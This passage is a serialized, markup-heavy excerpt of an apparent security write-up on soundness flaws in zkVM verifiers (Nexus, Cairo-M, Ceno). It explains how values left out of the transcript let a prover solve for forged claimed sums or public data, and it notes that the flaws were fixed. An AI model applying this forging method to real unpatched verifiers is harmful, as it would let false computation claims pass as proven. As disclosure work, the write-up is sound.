197,"children":119199},{"className":119198},[6396,6445],[119200],{"type":24,"tag":90,"props":119201,"children":119203},{"className":119202},[6396,6445],[119204],{"type":29,"value":534},{"type":24,"tag":90,"props":119206,"children":119208},{"className":119207},[23541],[119209],{"type":29,"value":23544},{"type":24,"tag":90,"props":119211,"children":119213},{"className":119212},[6422],[119214],{"type":24,"tag":90,"props":119215,"children":119217},{"className":119216,"style":116529},[6427],[119218],{"type":24,"tag":90,"props":119219,"children":119220},{},[],{"type":24,"tag":90,"props":119222,"children":119224},{"className":119223},[23535,115395],[],{"type":24,"tag":25,"props":119226,"children":119227},{},[119228,119230,119235],{"type":29,"value":119229},"All ",{"type":24,"tag":32,"props":119231,"children":119233},{"className":119232},[],[119234],{"type":29,"value":116741},{"type":29,"value":119236}," values must sum to zero (everything produced is consumed).",{"type":24,"tag":25,"props":119238,"children":119239},{},[119240,119242,119247],{"type":29,"value":119241},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":24,"tag":7711,"props":119243,"children":119244},{},[119245],{"type":29,"value":119246},"OODS (Out-of-Domain Sampling)",{"type":29,"value":119248}," test.",{"type":24,"tag":25,"props":119250,"children":119251},{},[119252],{"type":24,"tag":7711,"props":119253,"children":119254},{},[119255],{"type":29,"value":117293},{"type":24,"tag":80,"props":119257,"children":119259},{"code":119258},"NexusProof {\n stark_proof: {\n commitments: [Merkle roots of trace columns]\n sampled_values: [polynomial evaluations]\n fri_proof: [low-degree test proof]\n }\n claimed_sum: [FieldElement; NUM_COMPONENTS] // \u003C- VULNERABLE\n log_size: [component sizes]\n}\n",[119260],{"type":24,"tag":32,"props":119261,"children":119262},{"__ignoreMap":7},[119263],{"type":29,"value":119258},{"type":24,"tag":25,"props":119265,"children":119266},{},[119267,119269,119274],{"type":29,"value":119268},"The",{"type":24,"tag":32,"props":119270,"children":119272},{"className":119271},[],[119273],{"type":29,"value":116741},{"type":29,"value":119275}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":24,"tag":25,"props":119277,"children":119278},{},[119279],{"type":24,"tag":6301,"props":119280,"children":119283},{"alt":119281,"src":119282},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":24,"tag":25,"props":119285,"children":119286},{},[119287,119289,119298],{"type":29,"value":119288},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":24,"tag":7711,"props":119290,"children":119291},{},[119292,119293],{"type":29,"value":113748},{"type":24,"tag":32,"props":119294,"children":119296},{"className":119295},[],[119297],{"type":29,"value":116741},{"type":29,"value":78},{"type":24,"tag":25,"props":119300,"children":119301},{},[119302],{"type":29,"value":119303},"The composition polynomial is a random linear combination of constraints:",{"type":24,"tag":25,"props":119305,"children":119306},{},[119307],{"type":24,"tag":32,"props":119308,"children":119310},{"className":119309},[6368,6369],[119311],{"type":24,"tag":90,"props":119312,"children":119314},{"className":119313},[6374],[119315],{"type":24,"tag":90,"props":119316,"children":119318},{"className":119317,"ariaHidden":6380},[6379],[119319,119360,119499],{"type":24,"tag":90,"props":119320,"children":119322},{"className":119321},[6385],[119323,119327,119332,119337,119342,119347,119351,119356],{"type":24,"tag":90,"props":119324,"children":119326},{"className":119325,"style":6496},[6390],[],{"type":24,"tag":90,"props":119328,"children":119330},{"className":119329,"style":23916},[6396,23384],[119331],{"type":29,"value":118106},{"type":24,"tag":90,"props":119333,"children":119335},{"className":119334},[23513],[119336],{"type":29,"value":117},{"type":24,"tag":90,"props":119338,"children":119340},{"className":119339},[6396,23384],[119341],{"type":29,"value":21070},{"type":24,"tag":90,"props":119343,"children":119345},{"className":119344},[23535],[119346],{"type":29,"value":517},{"type":24,"tag":90,"props":119348,"children":119350},{"className":119349,"style":6573},[6475],[],{"type":24,"tag":90,"props":119352,"children":119354},{"className":119353},[6578],[119355],{"type":29,"value":5491},{"type":24,"tag":90,"props":119357,"children":119359},{"className":119358,"style":6573},[6475],[],{"type":24,"tag":90,"props":119361,"children":119363},{"className":119362},[6385],[119364,119368,119425,119429,119486,119490,119495],{"type":24,"tag":90,"props":119365,"children":119367},{"className":119366,"style":117510},[6390],[],{"type":24,"tag":90,"props":119369,"children":119371},{"className":119370},[23420],[119372,119377],{"type":24,"tag":90,"props":119373,"children":119375},{"className":119374,"style":23427},[23420,23425,23426],[119376],{"type":29,"value":110672},{"type":24,"tag":90,"props":119378,"children":119380},{"className":119379},[6412],[119381],{"type":24,"tag":90,"props":119382,"children":119384},{"className":119383},[6417,23438],[119385,119414],{"type":24,"tag":90,"props":119386,"children":119388},{"className":119387},[6422],[119389,119409],{"type":24,"tag":90,"props":119390,"children":119392},{"className":119391,"style":116084},[6427],[119393],{"type":24,"tag":90,"props":119394,"children":119395},{"style":23451},[119396,119400],{"type":24,"tag":90,"props":119397,"children":119399},{"className":119398,"style":6437},[6436],[],{"type":24,"tag":90,"props":119401,"children":119403},{"className":119402},[6442,6443,6444,6445],[119404],{"type":24,"tag":90,"props":119405,"children":119407},{"className":119406},[6396,23384,6445],[119408],{"type":29,"value":6123},{"type":24,"tag":90,"props":119410,"children":119412},{"className":119411},[23541],[119413],{"type":29,"value":23544},{"type":24,"tag":90,"props":119415,"children":119417},{"className":119416},[6422],[119418],{"type":24,"tag":90,"props":119419,"children":119421},{"className":119420,"style":116364},[6427],[119422],{"type":24,"tag":90,"props":119423,"children":119424},{},[],{"type":24,"tag":90,"props":119426,"children":119428},{"className":119427,"style":6514},[6475],[],{"type":24,"tag":90,"props":119430,"children":119432},{"className":119431},[6396],[119433,119438],{"type":24,"tag":90,"props":119434,"children":119436},{"className":119435,"style":116965},[6396,23384],[119437],{"type":29,"value":116968},{"type":24,"tag":90,"props":119439,"children":119441},{"className":119440},[6412],[119442],{"type":24,"tag":90,"props":119443,"children":119445},{"className":119444},[6417,23438],[119446,119475],{"type":24,"tag":90,"props":119447,"children":119449},{"className":119448},[6422],[119450,119470],{"type":24,"tag":90,"props":119451,"children":119453},{"className":119452,"style":95406},[6427],[119454],{"type":24,"tag":90,"props":119455,"children":119456},{"style":117600},[119457,119461],{"type":24,"tag":90,"props":119458,"children":119460},{"className":119459,"style":6437},[6436],[],{"type":24,"tag":90,"props":119462,"children":119464},{"className":119463},[6442,6443,6444,6445],[119465],{"type":24,"tag":90,"props":119466,"children":119468},{"className":119467},[6396,23384,6445],[119469],{"type":29,"value":6123},{"type":24,"tag":90,"props":119471,"children":119473},{"className":119472},[23541],[119474],{"type":29,"value":23544},{"type":24,"tag":90,"props":119476,"children":119478},{"className":119477},[6422],[119479],{"type":24,"tag":90,"props":119480,"children":119482},{"className":119481,"style":94960},[6427],[119483],{"type":24,"tag":90,"props":119484,"children":119485},{},[],{"type":24,"tag":90,"props":119487,"children":119489},{"className":119488,"style":6476},[6475],[],{"type":24,"tag":90,"props":119491,"children":119493},{"className":119492},[6481],[119494],{"type":29,"value":113139},{"type":24,"tag":90,"props":119496,"children":119498},{"className":119497,"style":6476},[6475],[],{"type":24,"tag":90,"props":119500,"children":119502},{"className":119501},[6385],[119503,119507,119569,119574,119579],{"type":24,"tag":90,"props":119504,"children":119506},{"className":119505,"style":6496},[6390],[],{"type":24,"tag":90,"props":119508,"children":119510},{"className":119509},[6396],[119511,119521],{"type":24,"tag":90,"props":119512,"children":119514},{"className":119513},[6396,29],[119515],{"type":24,"tag":90,"props":119516,"children":119518},{"className":119517},[6396],[119519],{"type":29,"value":119520},"constraint",{"type":24,"tag":90,"props":119522,"children":119524},{"className":119523},[6412],[119525],{"type":24,"tag":90,"props":119526,"children":119528},{"className":119527},[6417,23438],[119529,119558],{"type":24,"tag":90,"props":119530,"children":119532},{"className":119531},[6422],[119533,119553],{"type":24,"tag":90,"props":119534,"children":119536},{"className":119535,"style":95406},[6427],[119537],{"type":24,"tag":90,"props":119538,"children":119539},{"style":116007},[119540,119544],{"type":24,"tag":90,"props":119541,"children":119543},{"className":119542,"style":6437},[6436],[],{"type":24,"tag":90,"props":119545,"children":119547},{"className":119546},[6442,6443,6444,6445],[119548],{"type":24,"tag":90,"props":119549,"children":119551},{"className":119550},[6396,23384,6445],[119552],{"type":29,"value":6123},{"type":24,"tag":90,"props":119554,"children":119556},{"className":119555},[23541],[119557],{"type":29,"value":23544},{"type":24,"tag":90,"props":119559,"children":119561},{"className":119560},[6422],[119562],{"type":24,"tag":90,"props":119563,"children":119565},{"className":119564,"style":94960},[6427],[119566],{"type":24,"tag":90,"props":119567,"children":119568},{},[],{"type":24,"tag":90,"props":119570,"children":119572},{"className":119571},[23513],[119573],{"type":29,"value":117},{"type":24,"tag":90,"props":119575,"children":119577},{"className":119576},[6396,23384],[119578],{"type":29,"value":21070},{"type":24,"tag":90,"props":119580,"children":119582},{"className":119581},[23535],[119583],{"type":29,"value":517},{"type":24,"tag":25,"props":119585,"children":119586},{},[119587,119589,119594,119596,119601],{"type":29,"value":119588},"Since each constraint is linear in its ",{"type":24,"tag":32,"props":119590,"children":119592},{"className":119591},[],[119593],{"type":29,"value":116741},{"type":29,"value":119595},", the overall composition polynomial is linear in all ",{"type":24,"tag":32,"props":119597,"children":119599},{"className":119598},[],[119600],{"type":29,"value":116741},{"type":29,"value":119602}," values.",{"type":24,"tag":25,"props":119604,"children":119605},{},[119606,119608],{"type":29,"value":119607},"The verifier checks ",{"type":24,"tag":32,"props":119609,"children":119611},{"className":119610},[6368,6369],[119612],{"type":24,"tag":90,"props":119613,"children":119615},{"className":119614},[6374],[119616],{"type":24,"tag":90,"props":119617,"children":119619},{"className":119618,"ariaHidden":6380},[6379],[119620,119681],{"type":24,"tag":90,"props":119621,"children":119623},{"className":119622},[6385],[119624,119628,119633,119638,119648,119653,119663,119668,119672,119677],{"type":24,"tag":90,"props":119625,"children":119627},{"className":119626,"style":94819},[6390],[],{"type":24,"tag":90,"props":119629,"children":119631},{"className":119630,"style":23916},[6396,23384],[119632],{"type":29,"value":118106},{"type":24,"tag":90,"props":119634,"children":119636},{"className":119635},[23513],[119637],{"type":29,"value":117},{"type":24,"tag":90,"props":119639,"children":119641},{"className":119640},[6396,29],[119642],{"type":24,"tag":90,"props":119643,"children":119645},{"className":119644},[6396],[119646],{"type":29,"value":119647},"oods",{"type":24,"tag":90,"props":119649,"children":119651},{"className":119650,"style":94877},[6396],[119652],{"type":29,"value":5482},{"type":24,"tag":90,"props":119654,"children":119656},{"className":119655},[6396,29],[119657],{"type":24,"tag":90,"props":119658,"children":119660},{"className":119659},[6396],[119661],{"type":29,"value":119662},"point",{"type":24,"tag":90,"props":119664,"children":119666},{"className":119665},[23535],[119667],{"type":29,"value":517},{"type":24,"tag":90,"props":119669,"children":119671},{"className":119670,"style":6573},[6475],[],{"type":24,"tag":90,"props":119673,"children":119675},{"className":119674},[6578],[119676],{"type":29,"value":5491},{"type":24,"tag":90,"props":119678,"children":119680},{"className":119679,"style":6573},[6475],[],{"type":24,"tag":90,"props":119682,"children":119684},{"className":119683},[6385],[119685,119689],{"type":24,"tag":90,"props":119686,"children":119688},{"className":119687,"style":116932},[6390],[],{"type":24,"tag":90,"props":119690,"children":119692},{"className":119691},[6396,29],[119693],{"type":24,"tag":90,"props":119694,"children":119696},{"className":119695},[6396],[119697],{"type":29,"value":118431},{"type":24,"tag":25,"props":119699,"children":119700},{},[119701,119703,119708,119710,119715],{"type":29,"value":119702},"With ",{"type":24,"tag":32,"props":119704,"children":119706},{"className":119705},[],[119707],{"type":29,"value":116741},{"type":29,"value":119709}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":24,"tag":32,"props":119711,"children":119713},{"className":119712},[],[119714],{"type":29,"value":116741},{"type":29,"value":119716}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":24,"tag":25,"props":119718,"children":119719},{},[119720,119724,119726],{"type":24,"tag":7711,"props":119721,"children":119722},{},[119723],{"type":29,"value":118587},{"type":29,"value":119725}," Fixed on October 24, 2025 via ",{"type":24,"tag":69,"props":119727,"children":119730},{"href":119728,"rel":119729},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[73],[119731],{"type":29,"value":119732},"PR #503",{"type":24,"tag":20586,"props":119734,"children":119735},{},[],{"type":24,"tag":1019,"props":119737,"children":119739},{"id":119738},"cairo-m-kakarot-labs",[119740],{"type":29,"value":119741},"Cairo-M (Kakarot Labs)",{"type":24,"tag":25,"props":119743,"children":119744},{},[119745],{"type":29,"value":119746},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":24,"tag":25,"props":119748,"children":119749},{},[119750],{"type":29,"value":119751},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":24,"tag":25,"props":119753,"children":119754},{},[119755],{"type":24,"tag":7711,"props":119756,"children":119757},{},[119758],{"type":29,"value":117293},{"type":24,"tag":80,"props":119760,"children":119762},{"code":119761},"Proof {\n claim: ComponentSizes,\n interaction_claim: LogupClaimsPerComponent,\n public_data: { // \u003C- VULNERABLE\n initial_registers: { pc, fp },\n final_registers: { pc, fp }, // \u003C- forged\n clock, // \u003C- forged\n initial_root, \n final_root, // \u003C- forged\n public_memory: { program, input, output }, //output modified\n },\n stark_proof: [...],\n}\n",[119763],{"type":24,"tag":32,"props":119764,"children":119765},{"__ignoreMap":7},[119766],{"type":29,"value":119761},{"type":24,"tag":25,"props":119768,"children":119769},{},[119770],{"type":24,"tag":7711,"props":119771,"children":119772},{},[119773],{"type":29,"value":117309},{"type":24,"tag":25,"props":119775,"children":119776},{},[119777],{"type":24,"tag":6301,"props":119778,"children":119781},{"alt":119779,"src":119780},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":24,"tag":25,"props":119783,"children":119784},{},[119785,119787,119793],{"type":29,"value":119786},"Lookup challenges are derived without ",{"type":24,"tag":32,"props":119788,"children":119790},{"className":119789},[],[119791],{"type":29,"value":119792},"public_data",{"type":29,"value":119794}," being mixed into the transcript.",{"type":24,"tag":25,"props":119796,"children":119797},{},[119798,119799,119804,119806,119811],{"type":29,"value":3131},{"type":24,"tag":32,"props":119800,"children":119802},{"className":119801},[],[119803],{"type":29,"value":119792},{"type":29,"value":119805}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":24,"tag":842,"props":119807,"children":119808},{},[119809],{"type":29,"value":119810},"denominators",{"type":29,"value":119812}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":24,"tag":25,"props":119814,"children":119815},{},[119816],{"type":24,"tag":32,"props":119817,"children":119819},{"className":119818},[6368,6369],[119820],{"type":24,"tag":90,"props":119821,"children":119823},{"className":119822},[6374],[119824],{"type":24,"tag":90,"props":119825,"children":119827},{"className":119826,"ariaHidden":6380},[6379],[119828,119888,119934,119980],{"type":24,"tag":90,"props":119829,"children":119831},{"className":119830},[6385],[119832,119836,119842,119847,119856,119861,119870,119875,119879,119884],{"type":24,"tag":90,"props":119833,"children":119835},{"className":119834,"style":94819},[6390],[],{"type":24,"tag":90,"props":119837,"children":119839},{"className":119838},[6396,23384],[119840],{"type":29,"value":119841},"L",{"type":24,"tag":90,"props":119843,"children":119845},{"className":119844},[23513],[119846],{"type":29,"value":117},{"type":24,"tag":90,"props":119848,"children":119850},{"className":119849},[6396,29],[119851],{"type":24,"tag":90,"props":119852,"children":119854},{"className":119853},[6396],[119855],{"type":29,"value":63501},{"type":24,"tag":90,"props":119857,"children":119859},{"className":119858,"style":94877},[6396],[119860],{"type":29,"value":5482},{"type":24,"tag":90,"props":119862,"children":119864},{"className":119863},[6396,29],[119865],{"type":24,"tag":90,"props":119866,"children":119868},{"className":119867},[6396],[119869],{"type":29,"value":481},{"type":24,"tag":90,"props":119871,"children":119873},{"className":119872},[23535],[119874],{"type":29,"value":517},{"type":24,"tag":90,"props":119876,"children":119878},{"className":119877,"style":6476},[6475],[],{"type":24,"tag":90,"props":119880,"children":119882},{"className":119881},[6481],[119883],{"type":29,"value":6767},{"type":24,"tag":90,"props":119885,"children":119887},{"className":119886,"style":6476},[6475],[],{"type":24,"tag":90,"props":119889,"children":119891},{"className":119890},[6385],[119892,119896,119906,119911,119921,119925,119930],{"type":24,"tag":90,"props":119893,"children":119895},{"className":119894,"style":94819},[6390],[],{"type":24,"tag":90,"props":119897,"children":119899},{"className":119898},[6396,29],[119900],{"type":24,"tag":90,"props":119901,"children":119903},{"className":119902},[6396],[119904],{"type":29,"value":119905},"(other transcript",{"type":24,"tag":90,"props":119907,"children":119909},{"className":119908,"style":94877},[6396],[119910],{"type":29,"value":5482},{"type":24,"tag":90,"props":119912,"children":119914},{"className":119913},[6396,29],[119915],{"type":24,"tag":90,"props":119916,"children":119918},{"className":119917},[6396],[119919],{"type":29,"value":119920},"bound terms)",{"type":24,"tag":90,"props":119922,"children":119924},{"className":119923,"style":6573},[6475],[],{"type":24,"tag":90,"props":119926,"children":119928},{"className":119927},[6578],[119929],{"type":29,"value":5491},{"type":24,"tag":90,"props":119931,"children":119933},{"className":119932,"style":6573},[6475],[],{"type":24,"tag":90,"props":119935,"children":119937},{"className":119936},[6385],[119938,119943,119948,119953,119958,119962,119967,119971,119976],{"type":24,"tag":90,"props":119939,"children":119942},{"className":119940,"style":119941},[6390],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":24,"tag":90,"props":119944,"children":119946},{"className":119945},[6396],[119947],{"type":29,"value":6408},{"type":24,"tag":90,"props":119949,"children":119951},{"className":119950},[6507],[119952],{"type":29,"value":6510},{"type":24,"tag":90,"props":119954,"children":119957},{"className":119955,"style":119956},[6475],"margin-right:2em;",[],{"type":24,"tag":90,"props":119959,"children":119961},{"className":119960,"style":6514},[6475],[],{"type":24,"tag":90,"props":119963,"children":119965},{"className":119964},[6396,23384],[119966],{"type":29,"value":119841},{"type":24,"tag":90,"props":119968,"children":119970},{"className":119969,"style":6573},[6475],[],{"type":24,"tag":90,"props":119972,"children":119974},{"className":119973},[6578],[119975],{"type":29,"value":5491},{"type":24,"tag":90,"props":119977,"children":119979},{"className":119978,"style":6573},[6475],[],{"type":24,"tag":90,"props":119981,"children":119983},{"className":119982},[6385],[119984,119989,120046,120050,120268],{"type":24,"tag":90,"props":119985,"children":119988},{"className":119986,"style":119987},[6390],"height:1.4071em;vertical-align:-0.562em;",[],{"type":24,"tag":90,"props":119990,"children":119992},{"className":119991},[23420],[119993,119998],{"type":24,"tag":90,"props":119994,"children":119996},{"className":119995,"style":23427},[23420,23425,23426],[119997],{"type":29,"value":110672},{"type":24,"tag":90,"props":119999,"children":120001},{"className":120000},[6412],[120002],{"type":24,"tag":90,"props":120003,"children":120005},{"className":120004},[6417,23438],[120006,120035],{"type":24,"tag":90,"props":120007,"children":120009},{"className":120008},[6422],[120010,120030],{"type":24,"tag":90,"props":120011,"children":120013},{"className":120012,"style":116084},[6427],[120014],{"type":24,"tag":90,"props":120015,"children":120016},{"style":23451},[120017,120021],{"type":24,"tag":90,"props":120018,"children":120020},{"className":120019,"style":6437},[6436],[],{"type":24,"tag":90,"props":120022,"children":120024},{"className":120023},[6442,6443,6444,6445],[120025],{"type":24,"tag":90,"props":120026,"children":120028},{"className":120027},[6396,23384,6445],[120029],{"type":29,"value":6123},{"type":24,"tag":90,"props":120031,"children":120033},{"className":120032},[23541],[120034],{"type":29,"value":23544},{"type":24,"tag":90,"props":120036,"children":120038},{"className":120037},[6422],[120039],{"type":24,"tag":90,"props":120040,"children":120042},{"className":120041,"style":116364},[6427],[120043],{"type":24,"tag":90,"props":120044,"children":120045},{},[],{"type":24,"tag":90,"props":120047,"children":120049},{"className":120048,"style":6514},[6475],[],{"type":24,"tag":90,"props":120051,"children":120053},{"className":120052},[6396],[120054,120058,120264],{"type":24,"tag":90,"props":120055,"children":120057},{"className":120056},[23513,115395],[],{"type":24,"tag":90,"props":120059,"children":120061},{"className":120060},[115400],[120062],{"type":24,"tag":90,"props":120063,"children":120065},{"className":120064},[6417,23438],[120066,120252],{"type":24,"tag":90,"props":120067,"children":120069},{"className":120068},[6422],[120070,120247],{"type":24,"tag":90,"props":120071,"children":120073},{"className":120072,"style":115413},[6427],[120074,120216,120227],{"type":24,"tag":90,"props":120075,"children":120076},{"style":115417},[120077,120081],{"type":24,"tag":90,"props":120078,"children":120080},{"className":120079,"style":114048},[6436],[],{"type":24,"tag":90,"props":120082,"children":120084},{"className":120083},[6442,6443,6444,6445],[120085],{"type":24,"tag":90,"props":120086,"children":120088},{"className":120087},[6396,6445],[120089,120094,120099,120105,120110,120115,120172,120177,120186,120191,120200,120206,120211],{"type":24,"tag":90,"props":120090,"children":120092},{"className":120091,"style":115434},[6396,23384,6445],[120093],{"type":29,"value":115437},{"type":24,"tag":90,"props":120095,"children":120097},{"className":120096},[6481,6445],[120098],{"type":29,"value":6767},{"type":24,"tag":90,"props":120100,"children":120102},{"className":120101},[23513,6445],[120103],{"type":29,"value":120104},"⟨",{"type":24,"tag":90,"props":120106,"children":120108},{"className":120107,"style":116965},[6396,23384,6445],[120109],{"type":29,"value":116968},{"type":24,"tag":90,"props":120111,"children":120113},{"className":120112},[6507,6445],[120114],{"type":29,"value":6510},{"type":24,"tag":90,"props":120116,"children":120118},{"className":120117},[6396,6445],[120119,120124],{"type":24,"tag":90,"props":120120,"children":120122},{"className":120121},[6396,23384,6445],[120123],{"type":29,"value":23526},{"type":24,"tag":90,"props":120125,"children":120127},{"className":120126},[6412],[120128],{"type":24,"tag":90,"props":120129,"children":120131},{"className":120130},[6417,23438],[120132,120161],{"type":24,"tag":90,"props":120133,"children":120135},{"className":120134},[6422],[120136,120156],{"type":24,"tag":90,"props":120137,"children":120139},{"className":120138,"style":116201},[6427],[120140],{"type":24,"tag":90,"props":120141,"children":120142},{"style":110732},[120143,120147],{"type":24,"tag":90,"props":120144,"children":120146},{"className":120145,"style":110737},[6436],[],{"type":24,"tag":90,"props":120148,"children":120150},{"className":120149},[6442,110742,110743,6445],[120151],{"type":24,"tag":90,"props":120152,"children":120154},{"className":120153},[6396,23384,6445],[120155],{"type":29,"value":6123},{"type":24,"tag":90,"props":120157,"children":120159},{"className":120158},[23541],[120160],{"type":29,"value":23544},{"type":24,"tag":90,"props":120162,"children":120164},{"className":120163},[6422],[120165],{"type":24,"tag":90,"props":120166,"children":120168},{"className":120167,"style":110762},[6427],[120169],{"type":24,"tag":90,"props":120170,"children":120171},{},[],{"type":24,"tag":90,"props":120173,"children":120175},{"className":120174},[23513,6445],[120176],{"type":29,"value":117},{"type":24,"tag":90,"props":120178,"children":120180},{"className":120179},[6396,29,6445],[120181],{"type":24,"tag":90,"props":120182,"children":120184},{"className":120183},[6396,6445],[120185],{"type":29,"value":63501},{"type":24,"tag":90,"props":120187,"children":120189},{"className":120188,"style":94877},[6396,6445],[120190],{"type":29,"value":5482},{"type":24,"tag":90,"props":120192,"children":120194},{"className":120193},[6396,29,6445],[120195],{"type":24,"tag":90,"props":120196,"children":120198},{"className":120197},[6396,6445],[120199],{"type":29,"value":481},{"type":24,"tag":90,"props":120201,"children":120203},{"className":120202},[23535,6445],[120204],{"type":29,"value":120205},")⟩",{"type":24,"tag":90,"props":120207,"children":120209},{"className":120208},[6481,6445],[120210],{"type":29,"value":6767},{"type":24,"tag":90,"props":120212,"children":120214},{"className":120213,"style":117020},[6396,23384,6445],[120215],{"type":29,"value":117023},{"type":24,"tag":90,"props":120217,"children":120218},{"style":115450},[120219,120223],{"type":24,"tag":90,"props":120220,"children":120222},{"className":120221,"style":114048},[6436],[],{"type":24,"tag":90,"props":120224,"children":120226},{"className":120225,"style":115460},[115459],[],{"type":24,"tag":90,"props":120228,"children":120229},{"style":115464},[120230,120234],{"type":24,"tag":90,"props":120231,"children":120233},{"className":120232,"style":114048},[6436],[],{"type":24,"tag":90,"props":120235,"children":120237},{"className":120236},[6442,6443,6444,6445],[120238],{"type":24,"tag":90,"props":120239,"children":120241},{"className":120240},[6396,6445],[120242],{"type":24,"tag":90,"props":120243,"children":120245},{"className":120244},[6396,6445],[120246],{"type":29,"value":534},{"type":24,"tag":90,"props":120248,"children":120250},{"className":120249},[23541],[120251],{"type":29,"value":23544},{"type":24,"tag":90,"props":120253,"children":120255},{"className":120254},[6422],[120256],{"type":24,"tag":90,"props":120257,"children":120260},{"className":120258,"style":120259},[6427],"height:0.562em;",[120261],{"type":24,"tag":90,"props":120262,"children":120263},{},[],{"type":24,"tag":90,"props":120265,"children":120267},{"className":120266},[23535,115395],[],{"type":24,"tag":90,"props":120269,"children":120271},{"className":120270},[6396],[120272],{"type":29,"value":226},{"type":24,"tag":25,"props":120274,"children":120275},{},[120276,120278],{"type":29,"value":120277},"The global check is then that ",{"type":24,"tag":32,"props":120279,"children":120281},{"className":120280},[6368,6369],[120282],{"type":24,"tag":90,"props":120283,"children":120285},{"className":120284},[6374],[120286],{"type":24,"tag":90,"props":120287,"children":120289},{"className":120288,"ariaHidden":6380},[6379],[120290,120331,120362],{"type":24,"tag":90,"props":120291,"children":120293},{"className":120292},[6385],[120294,120298,120303,120308,120313,120318,120322,120327],{"type":24,"tag":90,"props":120295,"children":120297},{"className":120296,"style":6496},[6390],[],{"type":24,"tag":90,"props":120299,"children":120301},{"className":120300},[6396,23384],[120302],{"type":29,"value":119841},{"type":24,"tag":90,"props":120304,"children":120306},{"className":120305},[23513],[120307],{"type":29,"value":117},{"type":24,"tag":90,"props":120309,"children":120311},{"className":120310},[6396,23384],[120312],{"type":29,"value":25},{"type":24,"tag":90,"props":120314,"children":120316},{"className":120315},[23535],[120317],{"type":29,"value":517},{"type":24,"tag":90,"props":120319,"children":120321},{"className":120320,"style":6476},[6475],[],{"type":24,"tag":90,"props":120323,"children":120325},{"className":120324},[6481],[120326],{"type":29,"value":6767},{"type":24,"tag":90,"props":120328,"children":120330},{"className":120329,"style":6476},[6475],[],{"type":24,"tag":90,"props":120332,"children":120334},{"className":120333},[6385],[120335,120339,120349,120353,120358],{"type":24,"tag":90,"props":120336,"children":120338},{"className":120337,"style":6496},[6390],[],{"type":24,"tag":90,"props":120340,"children":120342},{"className":120341},[6396,29],[120343],{"type":24,"tag":90,"props":120344,"children":120346},{"className":120345},[6396],[120347],{"type":29,"value":120348},"(other terms)",{"type":24,"tag":90,"props":120350,"children":120352},{"className":120351,"style":6573},[6475],[],{"type":24,"tag":90,"props":120354,"children":120356},{"className":120355},[6578],[120357],{"type":29,"value":5491},{"type":24,"tag":90,"props":120359,"children":120361},{"className":120360,"style":6573},[6475],[],{"type":24,"tag":90,"props":120363,"children":120365},{"className":120364},[6385],[120366,120370],{"type":24,"tag":90,"props":120367,"children":120369},{"className":120368,"style":95908},[6390],[],{"type":24,"tag":90,"props":120371,"children":120373},{"className":120372},[6396],[120374],{"type":29,"value":6408},{"type":24,"tag":25,"props":120376,"children":120377},{},[120378],{"type":29,"value":120379},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":24,"tag":25,"props":120381,"children":120382},{},[120383],{"type":29,"value":120384},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":24,"tag":25,"props":120386,"children":120387},{},[120388,120392,120394],{"type":24,"tag":7711,"props":120389,"children":120390},{},[120391],{"type":29,"value":118587},{"type":29,"value":120393}," Fixed on October 31, 2025 via ",{"type":24,"tag":69,"props":120395,"children":120398},{"href":120396,"rel":120397},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[73],[120399],{"type":29,"value":120400},"commit 92b6740",{"type":24,"tag":20586,"props":120402,"children":120403},{},[],{"type":24,"tag":1019,"props":120405,"children":120407},{"id":120406},"ceno-scroll",[120408],{"type":29,"value":120409},"Ceno (Scroll)",{"type":24,"tag":25,"props":120411,"children":120412},{},[120413],{"type":29,"value":120414},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":24,"tag":25,"props":120416,"children":120417},{},[120418,120420,120425],{"type":29,"value":120419},"Ceno splits verification into ",{"type":24,"tag":7711,"props":120421,"children":120422},{},[120423],{"type":29,"value":120424},"chips",{"type":29,"value":120426},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":24,"tag":25,"props":120428,"children":120429},{},[120430,120432,120437],{"type":29,"value":120431},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":24,"tag":7711,"props":120433,"children":120434},{},[120435],{"type":29,"value":120436},"tower sumcheck",{"type":29,"value":226},{"type":24,"tag":25,"props":120439,"children":120440},{},[120441],{"type":29,"value":120442},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":24,"tag":25,"props":120444,"children":120445},{},[120446],{"type":24,"tag":32,"props":120447,"children":120449},{"className":120448},[6368,6369],[120450],{"type":24,"tag":90,"props":120451,"children":120453},{"className":120452},[6374],[120454],{"type":24,"tag":90,"props":120455,"children":120457},{"className":120456,"ariaHidden":6380},[6379],[120458,120632,120805],{"type":24,"tag":90,"props":120459,"children":120461},{"className":120460},[6385],[120462,120466,120524,120528,120537,120542,120552,120557,120619,120623,120628],{"type":24,"tag":90,"props":120463,"children":120465},{"className":120464,"style":94819},[6390],[],{"type":24,"tag":90,"props":120467,"children":120469},{"className":120468},[23420],[120470,120476],{"type":24,"tag":90,"props":120471,"children":120473},{"className":120472,"style":23427},[23420,23425,23426],[120474],{"type":29,"value":120475},"∏",{"type":24,"tag":90,"props":120477,"children":120479},{"className":120478},[6412],[120480],{"type":24,"tag":90,"props":120481,"children":120483},{"className":120482},[6417,23438],[120484,120513],{"type":24,"tag":90,"props":120485,"children":120487},{"className":120486},[6422],[120488,120508],{"type":24,"tag":90,"